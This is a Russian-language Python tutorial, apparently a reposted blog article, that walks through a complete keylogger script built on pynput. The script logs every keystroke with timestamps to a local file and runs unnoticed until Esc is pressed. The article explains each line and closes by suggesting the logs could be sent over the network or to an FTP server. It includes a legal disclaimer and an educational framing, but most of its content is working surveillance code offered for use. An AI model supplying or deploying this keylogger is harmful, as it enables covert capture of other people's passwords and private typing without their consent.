Создание кейлоггера с помощью Python


Введение

В этом уроке вы узнаете, как написать кейлоггер на языке Python. Кейлоггер — это тип инструмента наблюдения, используемый для мониторинга и записи каждого нажатия клавиши, набранной на клавиатуре определенного компьютера.

⚠️ ЮРИДИЧЕСКАЯ ОГОВОРКА

Если говорить о законности кейлоггеров и других хакерских инструментов, то они являются легальными. Однако, установив их на компьютер, даже на свой личный, вы можете попасть в неприятности с законом. Если вы позволите кому-либо другому использовать ваш компьютер, не отключив кейлоггер, или не сообщите ему, что он активен, вы, скорее всего, нарушите федеральный закон. Цель данного руководства — информирование о безопасности и образовательные цели.

Внедрение кейлоггера

Вот полный сценарий Keylogger.py.

from pynput.keyboard import Key, Listener
import logging


logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')


def on_press(key) -> None:
    logging.info(str(key))


def on_release(key) -> bool:
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Вход в полноэкранный режим Выход из полноэкранного режима

Пояснение кода

Строки 1-2: Импортирование необходимых библиотек

from pynput.keyboard import Key, Listener
import logging
Вход в полноэкранный режим Выход из полноэкранного режима

Строки 5-9: Базовая конфигурация журнала

logging.basicConfig(filename="keystroke_log.txt",
                    level=logging.DEBUG,
                    style="{",
                    datefmt='%Y-%d-%M %H:%M:%S',
                    format='[{asctime}]: {message}')
Вход в полноэкранный режим Выход из полноэкранного режима

Здесь мы создаем базовую конфигурацию для системы ведения журнала. Мы укажем имя файла, в который будут записываться нажатия клавиш keystroke_log.txt, а затем укажем формат, в котором будут храниться нажатия клавиш:

Строки 12-13: Определение функции On_Press

def on_press(key) -> None:
    logging.info(str(key))
Войти в полноэкранный режим Выйти из полноэкранного режима

Функция принимает в качестве аргумента key, которая является клавишей, нажатой пользователем, и записывает ее в файл после преобразования в строку.

Строки 16-18: Определение функции On_Release:

def on_release(key) -> bool:
    if key == Key.esc:
        return False
Вход в полноэкранный режим Выход из полноэкранного режима

Функция принимает в качестве аргумента key, которая опять же является клавишей, нажатой пользователем, и завершает работу программы Keylogger, если в качестве аргумента передается Esc key.

Строки 21-22: Получение нажатий клавиш

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Вход в полноэкранный режим Выход из полноэкранного режима

Мы создаем экземпляр слушателя, который будет записывать нажатия клавиш, и передаем созданную нами функцию в качестве аргумента. Затем мы используем метод .join(), чтобы присоединить ее к основному потоку. Таким образом, при каждом нажатии клавиши активируется слушатель и вызывает нашу функцию, которая записывает нажатия клавиш в файл.

Запуск Python Keylogger

Запустите программу:

$ python keylogger.py
Войти в полноэкранный режим Выйти из полноэкранного режима

После запуска программы вы не заметите никакой активности. Программа работает в фоновом режиме. Просто начните набирать текст; когда вы будете готовы к завершению программы, просто нажмите клавишу Esc. После этого вы заметите, что был создан новый файл keystroke_log.txt. Это файл, который содержит все записанные нажатия клавиш.

Изучение файла Keystroke_log.txt.

Ниже приведен скриншот моего файла keystroke_log.txt, в котором показаны записанные нажатия клавиш:

Заключение

Теперь вы знаете, как создать базовый кейлоггер. Эта программа может быть расширена для отправки файлов log по сети или даже загружена на FTP-сервер, откуда вы можете скачать ее позже для использования. Помните, что данное руководство и скрипт кейлоггера предназначены исключительно для образовательных целей и не должны использоваться в злонамеренных целях. Пожалуйста, оставьте like или comment, если вы нашли эту статью интересной!

🔗 Ссылка на ресурс

  • Исходный код на GitHub

Оцените статью
devanswers.ru
Добавить комментарий